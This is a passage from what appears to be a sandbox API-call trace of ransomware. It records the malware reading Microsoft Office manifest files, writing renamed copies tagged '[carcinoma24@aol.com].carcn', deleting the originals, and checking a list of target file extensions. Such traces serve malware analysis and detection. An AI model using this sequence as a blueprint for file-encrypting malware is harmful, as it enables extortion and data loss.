office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0181.859] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=65002) returned 1 [0181.859] CloseHandle (hObject=0x2e0) returned 1 [0181.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0181.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0181.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0181.860] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.860] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0181.860] GetLastError () returned 0x0 [0181.860] ReadFile (in: hFile=0x2e0, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0xfdea, lpOverlapped=0x0) returned 1 [0181.875] WriteFile (in: hFile=0x36c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xfdf0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xfdf0, lpOverlapped=0x0) returned 1 [0181.876] ReadFile (in: hFile=0x2e0, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.876] WriteFile (in: hFile=0x36c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x13e, lpOverlapped=0x0) returned 1 [0181.877] SetEndOfFile (hFile=0x36c) returned 1 [0181.877] CloseHandle (hObject=0x36c) returned 1 [0181.878] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.878] SetEndOfFile (hFile=0x2e0) returned 1 [0181.879] CloseHandle (hObject=0x2e0) returned 1 [0181.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0181.880] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 1 [0181.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0181.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0181.880] lstrlenW (lpString=".doc") returned 4 [0181.880] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.880] lstrlenW (lpString=".docx") returned 5 [0181.880] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.880] lstrlenW (lpString=".pdf") returned 4 [0181.880] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.880] lstrlenW (lpString=".xls") returned 4 [0181.880] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.880] lstrlenW (lpString=".xlsx") returned 5 [0181.880] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.880] lstrlenW (lpString=".ppt") returned 4 [0181.880] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0181.881] lstrlenW (lpString=".zip") returned 4 [0181.881] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.881] lstrlenW (lpString=".rar") returned 4 [0181.881] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.881] lstrlenW (lpString=".bz2") returned 4 [0181.881] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.881] lstrlenW (lpString=".7z") returned 3 [0181.881] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0181.881] lstrlenW (lpString=".dbf") returned 4 [0181.881] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0181.881] lstrlenW (lpString=".1cd") returned 4 [0181.881] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0181.881] lstrlenW (lpString=".jpg") returned 4 [0181.881] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0181.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0181.881] lstrlenW (lpString=".doc") returned 4 [0181.881] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.881] lstrlenW (lpString=".docx") returned 5 [0181.881] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.881] lstrlenW (lpString=".pdf") returned 4 [0181.881] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.881] lstrlenW (lpString=".xls") returned 4 [0181.881] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.881] lstrlenW (lpString=".xlsx") returned 5 [0181.881] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.881] lstrlenW (lpString=".ppt") returned 4 [0181.881] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0181.882] lstrlenW (lpString=".zip") returned 4 [0181.882] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.882] lstrlenW (lpString=".rar") returned 4 [0181.882] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.882] lstrlenW (lpString=".bz2") returned 4 [0181.882] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.882] lstrlenW (lpString=".7z") returned 3 [0181.882] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0181.882] lstrlenW (lpString=".dbf") returned 4 [0181.882] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0181.882] lstrlenW (lpString=".1cd") returned 4 [0181.882] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0181.882] lstrlenW (lpString=".jpg") returned 4 [0181.882] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.882] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0181.882] lstrlenW (lpString="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 53 [0181.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0181.889] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=1261) returned 1 [0181.889] CloseHandle (hObject=0x364) returned 1 [0181.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 0x220 [0181.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0181.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0181.890] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.890] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0181.911] GetLastError () returned 0x0 [0181.911] ReadFile (in: hFile=0x364, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0181.917] WriteFile (in: hFile=0x310, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0181.928] ReadFile (in: hFile=0x364, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.928] WriteFile (in: hFile=0x310, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x13e, lpOverlapped=0x0) returned 1 [0181.928] SetEndOfFile (hFile=0x310) returned 1 [0181.933] CloseHandle (hObject=0x310) returned 1 [0181.936] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.936] SetEndOfFile (hFile=0x364) returned 1 [0181.938] CloseHandle (hObject=0x364) returned 1 [0181.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0181.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 1 [0181.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0181.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0181.940] lstrlenW (lpString=".doc") returned 4 [0181.940] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.940] lstrlenW (lpString=".docx") returned 5 [0181.941] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.941] lstrlenW (lpString=".pdf") returned 4 [0181.941] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.941] lstrlenW (lpString=".xls") returned 4 [0181.941] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.941] lstrlenW (lpString=".xlsx") returned 5 [0181.941] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.941] lstrlenW (lpString=".ppt") returned 4 [0181.941] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0181.941] lstrlenW (lpString=".zip") returned 4 [0181.941] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.941] lstrlenW (lpString=".rar") returned 4 [0181.941] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.941] lstrlenW (lpString=".bz2") returned 4 [0181.941] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.941] lstrlenW (lpString=".7z") returned 3 [0181.941] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0181.941] lstrlenW (lpString=".dbf") returned 4 [0181.941] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0181.941] lstrlenW (lpString=".1cd") returned 4 [0181.941] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0181.941] lstrlenW (lpString=".jpg") returned 4 [0181.941] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0181.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0181.941] lstrlenW (lpString=".doc") returned 4 [0181.941] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.941] lstrlenW (lpString=".docx") returned 5 [0181.941] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.941] lstrlenW (lpString=".pdf") returned 4 [0181.942] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.942] lstrlenW (lpString=".xls") returned 4 [0181.942] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.942] lstrlenW (lpString=".xlsx") returned 5 [0181.942] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.942] lstrlenW (lpString=".ppt") returned 4 [0181.942] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0181.942] lstrlenW (lpString=".zip") returned 4 [0181.942] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.942] lstrlenW (lpString=".rar") returned 4 [0181.942] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.942] lstrlenW (lpString=".bz2") returned 4 [0181.942] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.942] lstrlenW (lpString=".7z") returned 3 [0181.942] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0181.942] lstrlenW (lpString=".dbf") returned 4 [0181.942] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0181.942] lstrlenW (lpString=".1cd") returned 4 [0181.942] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0181.942] lstrlenW (lpString=".jpg") returned 4 [0181.942] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.942] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0181.942] lstrlenW (lpString="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 53 [0181.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0181.943] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=399528) returned 1 [0181.943] CloseHandle (hObject=0x360) returned 1 [0181.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0181.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0181.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0181.943] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.943] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0181.945] GetLastError () returned 0x0 [0181.945] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x618a8, lpOverlapped=0x0) returned 1 [0182.115] WriteFile (in: hFile=0x374, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x618b0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x618b0, lpOverlapped=0x0) returned 1 [0182.120] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.120] WriteFile (in: hFile=0x374, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x13e, lpOverlapped=0x0) returned 1 [0182.121] SetEndOfFile (hFile=0x374) returned 1 [0182.121] CloseHandle (hObject=0x374) returned 1 [0182.127] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.127] SetEndOfFile (hFile=0x360) returned 1 [0182.130] CloseHandle (hObject=0x360) returned 1 [0182.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0182.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 1 [0182.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0182.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0182.131] lstrlenW (lpString=".doc") returned 4 [0182.131] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.131] lstrlenW (lpString=".docx") returned 5 [0182.131] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.131] lstrlenW (lpString=".pdf") returned 4 [0182.131] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.131] lstrlenW (lpString=".xls") returned 4 [0182.131] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.131] lstrlenW (lpString=".xlsx") returned 5 [0182.131] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.131] lstrlenW (lpString=".ppt") returned 4 [0182.131] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0182.131] lstrlenW (lpString=".zip") returned 4 [0182.131] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.131] lstrlenW (lpString=".rar") returned 4 [0182.131] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.131] lstrlenW (lpString=".bz2") returned 4 [0182.132] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.132] lstrlenW (lpString=".7z") returned 3 [0182.132] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0182.132] lstrlenW (lpString=".dbf") returned 4 [0182.132] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0182.132] lstrlenW (lpString=".1cd") returned 4 [0182.132] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0182.132] lstrlenW (lpString=".jpg") returned 4 [0182.132] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0182.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0182.132] lstrlenW (lpString=".doc") returned 4 [0182.132] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.132] lstrlenW (lpString=".docx") returned 5 [0182.132] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.132] lstrlenW (lpString=".pdf") returned 4 [0182.132] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.132] lstrlenW (lpString=".xls") returned 4 [0182.132] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.132] lstrlenW (lpString=".xlsx") returned 5 [0182.132] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.132] lstrlenW (lpString=".ppt") returned 4 [0182.132] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0182.132] lstrlenW (lpString=".zip") returned 4 [0182.132] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.133] lstrlenW (lpString=".rar") returned 4 [0182.133] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.133] lstrlenW (lpString=".bz2") returned 